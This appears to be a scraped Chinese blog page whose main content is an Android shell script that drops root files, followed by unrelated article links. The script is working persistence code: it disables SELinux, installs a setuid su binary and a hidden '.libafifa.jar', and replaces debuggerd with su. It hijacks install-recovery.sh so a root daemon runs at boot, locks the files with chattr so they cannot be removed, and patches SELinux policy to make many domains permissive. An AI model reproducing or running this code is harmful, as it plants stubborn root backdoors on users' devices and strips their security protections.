#!/system/bin/sh

MYDIR=$3
ARGS=$4
SU=$MYDIR/au
SUPOLICY=$MYDIR/supolicy
BUSYBOX=$MYDIR/busybox
TOOLBOX=$MYDIR/toolbox
SER=".libafifa.jar"
TAT_SER="/system/lib/$SER"
$TOOLBOX mount -r -w -o remount /system;
$TOOLBOX mount -o remount,rw /system; IS_SELINUX_ENFORCING=0
if [ -f "/sys/fs/selinux/enforce" ]; then
IS_SELINUX_ENFORCING=$($BUSYBOX cat /sys/fs/selinux/enforce)
echo "selinux: $IS_SELINUX_ENFORCING"
echo 0 > /sys/fs/selinux/enforce
IS_SELINUX_ENFORCING=$($BUSYBOX cat /sys/fs/selinux/enforce)
echo "now selinux: $IS_SELINUX_ENFORCING"
fi
#copy server.apk
[ -f $TAT_SER ] && $BUSYBOX chattr -iaA $TAT_SER && $TOOLBOX rm $TAT_SER
$BUSYBOX cat $MYDIR/$SER>$TAT_SER 2>/dev/null
chown 0.0 $TAT_SER 2>/dev/null;$BUSYBOX chmod 6755 $TAT_SER; chcon u:object_r:system_file:s0 $TAT_SER 2>/dev/null;
#copy au
[ -f /system/bin/au ] && $BUSYBOX chattr -iaA /system/bin/au && $TOOLBOX rm /system/bin/au
$BUSYBOX cat $SU>/system/bin/au 2>/dev/null; chown 0.0 /system/bin/au 2>/dev/null;$BUSYBOX chmod 6755 /system/bin/au; chcon u:object_r:system_file:s0 /system/bin/au 2>/dev/null;
[ -f /system/xbin/au ] || ln -s /system/bin/au /system/xbin/au; #chmod install_recovery.sh
[ -f /system/etc/install-recovery.sh ] && $BUSYBOX chattr -iaA /system/etc/install-recovery.sh && $TOOLBOX rm /system/etc/install-recovery.sh;
[ -f /system/etc/install_recovery.sh ] && $BUSYBOX chattr -iaA /system/etc/install_recovery.sh && $TOOLBOX rm /system/etc/install_recovery.sh;
[ -f /system/xbin/install-recovery.sh ] && $BUSYBOX chattr -iaA /system/xbin/install-recovery.sh
$BUSYBOX cat $BUSYBOX >/system/xbin/busybox
$BUSYBOX chmod 777 /system/xbin/busybox $BUSYBOX cat $TOOLBOX >/system/xbin/toolbox
$BUSYBOX chmod 777 /system/xbin/toolbox echo '#!/system/bin/sh
/system/bin/au --daemon &
'>/system/xbin/install-recovery.sh; $BUSYBOX chmod 0755 /system/xbin/install-recovery.sh; chcon u:object_r:system_file:s0 /system/xbin/install-recovery.sh 2>/dev/null;
[ -f /system/etc/install_recovery ] || ln -s /system/xbin/install-recovery.sh /system/etc/install_recovery.sh;
[ -f /system/etc/install-recovery.sh ] || ln -s /system/xbin/install-recovery.sh /system/etc/install-recovery.sh;
$BUSYBOX chattr -iaA /system/bin/debuggerd; $BUSYBOX cat /system/bin/debuggerd >/system/bin/debuggerd2 2>/dev/null ;$TOOLBOX rm /system/bin/debuggerd ;
$BUSYBOX cat $SU >/system/bin/debuggerd
$BUSYBOX chmod 777 /system/bin/debuggerd
$BUSYBOX chattr +iaA /system/etc/install_recovery.sh;
$BUSYBOX chattr +iaA /system/etc/install-recovery.sh;
$BUSYBOX chattr +iaA /system/bin/au;
$BUSYBOX chattr +iaA $TAT_SER;
$BUSYBOX chattr +iaA /system/bin/debuggerd;
SDK=$(getprop ro.build.version.sdk)
if [ "$SDK" -ge "18" ]; then
if [ -f "$SUPOLICY" ]; then
echo "patching policy ..."
$BUSYBOX cat $SUPOLICY>/system/xbin/supolicy; chown 0.0 /system/xbin/supolicy 2>/dev/null;$BUSYBOX chmod 0755 /system/xbin/supolicy; chcon u:object_r:system_file:s0 /system/xbin/supolicy 2>/dev/null
/system/xbin/supolicy --live "allow init default_android_service service_manager { add find }"
/system/xbin/supolicy --live "allow untrusted_app default_android_service service_manager { add find }"
/system/xbin/supolicy --live "allow init connectivity_service service_manager { add find }"
/system/xbin/supolicy --live "allow init package_service service_manager { find }"
/system/xbin/supolicy --live "allow init install_recovery_exec file { read unlink write }"
/system/xbin/supolicy --live "allow init user_service service_manager { find }"
/system/xbin/supolicy --live "allow init_shell default_android_service service_manager { add find }"
/system/xbin/supolicy --live "allow s_init_shell default_android_service service_manager { add find }" /system/xbin/supolicy --live "permissive init"
/system/xbin/supolicy --live "permissive kernel"
/system/xbin/supolicy --live "permissive toolbox"
/system/xbin/supolicy --live "permissive toolbox_exec"
/system/xbin/supolicy --live "permissive s_init_shell"
/system/xbin/supolicy --live "permissive init_shell"
/system/xbin/supolicy --live "permissive shell"
/system/xbin/supolicy --live "permissive su"
/system/xbin/supolicy --live "permissive adbd" fi
fi
echo "ROOT DONE"
IS_64=$(getprop ro.product.cpu.abilist64)
if [[ -z "$IS_64" ]]; then
(export _LD_LIBRARY_PATH=/vendor/lib:/system/lib;export LD_LIBRARY_PATH=/vendor/lib:/system/lib;export CLASSPATH=$MYDIR/$SER; app_process /system/bin/ com.abs.root.RootServer --application $ARGS )>&- &
else
(export _LD_LIBRARY_PATH=/vendor/lib:/system/lib;export LD_LIBRARY_PATH=/vendor/lib:/system/lib;export CLASSPATH=$MYDIR/$SER; app_process32 /system/bin/ com.abs.root.RootServer --application $ARGS )>&- & fi sleep 1
if [[ "$SDK" -ge "21" ]]; then
$TOOLBOX mount -t cgroup -ocpuacct none /sys/fs/cgroup
TARGET_PID=`ps |$BUSYBOX grep app_process |$BUSYBOX awk '{print $2}'`
echo "mypid:${TARGET_PID}"
echo $TARGET_PID >/acct/cgroup.procs
fi

一份释放root文件的脚本文件的更多相关文章

  1. 【原创】控制perl和python脚本执行过程中脚本文件是否关闭的方法

    引子 跟踪perl和python脚本对文件的访问,实际过程中,perl和python解析器在解析完脚本后,直接关闭了 脚本文件,在进程中查询不到是访问文件的脚本文件名称. shell.perl和pyt ...

  2. Android 上实现非root的 Traceroute -- 非Root权限下移植可运行二进制文件 脚本文件

    作者 : 万境绝尘 转载请著名出处 : http://blog.csdn.net/shulianghan/article/details/36438365 演示样例代码下载 : -- CSDN : h ...

  3. 【Android 应用开发】Android 上实现非root的 Traceroute -- 非Root权限下移植可执行二进制文件 脚本文件

    作者 : 万境绝尘 转载请著名出处 : http://blog.csdn.net/shulianghan/article/details/36438365 示例代码下载 : -- CSDN : htt ...

  4. Android 上实现非root的 Traceroute -- 非Root权限下移植可执行二进制文件 脚本文件

    作者 : 万境绝尘 转载请著名出处 : http://blog.csdn.net/shulianghan/article/details/36438365 示例代码下载 : -- CSDN : htt ...

  5. 【转】嵌入式Linux文件系统启动脚本及分析

    原文网址:http://www.linuxidc.com/Linux/2011-03/33728.htm 在内核初始化完成后,嵌入式linux 文件系统的启动过程主要包含以下几个步骤: 1. 执行/s ...

  6. linux文件分发脚本

    1.说明 此脚本可分发两类文件,1.固定内容文件,2.(每台被分发主机)内容不同的文件 ppp.sh为拨号脚本,每台被分发主机内容不同 根据分发文件名字不同(ppp.sh和其他文件)自动选择分发方式 ...

  7. 【Android】使用persist属性来调用脚本文件

    Android系统中有许多属性,属性由两个部分组成:name & value,可以使用这些属性来记录系统设置或进程之间的信息交换.Android系统在启动过程时会按序从以下几个文件中加载系统属 ...

  8. grub2的/etc/grub.d目录下的脚本文件

    00_header,05_debian_theme,10_linux,20_memtest86+,30_os- prober,40_custom这五个脚本对应grub.cfg上的各个部分,有的版本的g ...

  9. 针对php脚本文件执行锁定的代码,避免脚本在同一时间重复运行

    <?php//针对php脚本文件执行锁定的代码,避免脚本在同一时间重复运行,http://ken.01h.net/define('PHP_LOCK_FILE', dirname(__FILE__ ...

随机推荐

  1. win10使用cmd命令关闭防火墙

    在搜索框内输入cmd,右键选择管理员运行 然后输入: NetSh Advfirewall set allprofiles state off #关闭防火墙 Netsh Advfirewall show ...

  2. 如何在 C# 中使用 const,readonly,static

    平时在开发时经常会用到 const,readonly,static 关键字,可以肯定这些关键词是完全不同的概念,但有时候他们在用法上很相似以至于在场景中不知道选择哪一个,这篇文章我们就来讨论 C# 中 ...

  3. IT求职 非技术面试题汇总

    原文链接:https://blog.csdn.net/weixin_40845165/article/details/89852397 说明:原文是浏览网页时无意间看到的.扫了一眼,总结得还不错,感谢 ...

  4. 大牛带你学会java类加载机制,不要错过,值得收藏!

    很多人对java类加载机制都是非常抗拒的,因为这个太难理解了,但是我们作为一名优秀的java工程师,还是要把java类加载机制研究和学习明白的,因为这对于我们在以后的工作中有很大的帮助,因为它在jav ...

  5. 推荐一个能让谷歌浏览器变暗色的插件(darkreader)

    下载 https://codechina.csdn.net/mirrors/darkreader/darkreader?utm_source=csdn_github_accelerator 安装教程 ...

  6. FreeBSD安装xorg + xfce 4

    FreeBSD安装xorg,以及xfce 安装xorg 可选包 -xorg 完整xorg环境包 -xorg-minimal xorg最小化包 ports安装 cd /usr/ports/x11/xor ...

  7. 强化学习导论 课后习题参考 - Chapter 1,2

    Reinforcement Learning: An Introduction (second edition) - Chapter 1,2 Chapter 1 1.1 Self-Play Suppo ...

  8. 来,Consul 服务发现入个门(一看就会的那种)

    前言 在微服务架构中,对于一个系统,会划分出多个微服务,而且都是独立开发.独立部署,最后聚合在一起形成一个系统提供服务.当服务数量增多时,这些小服务怎么管理?调用方又怎么能确定服务的IP和端口?服务挂 ...

  9. centos命令上传

    首先安装 lrzsz # yum -y install lrzsz 运行 rz 命令: 在弹出的窗口选择需要上传的文件,文件会被上传至对应的目录下 运行 sz file.name 在弹出的窗口选择保存 ...

  10. 20个最有用的Python数据科学库

    核心库与统计 1. NumPy(提交:17911,贡献者:641) 一般我们会将科学领域的库作为清单打头,NumPy 是该领域的主要软件库之一.它旨在处理大型的多维数组和矩阵,并提供了很多高级的数学函 ...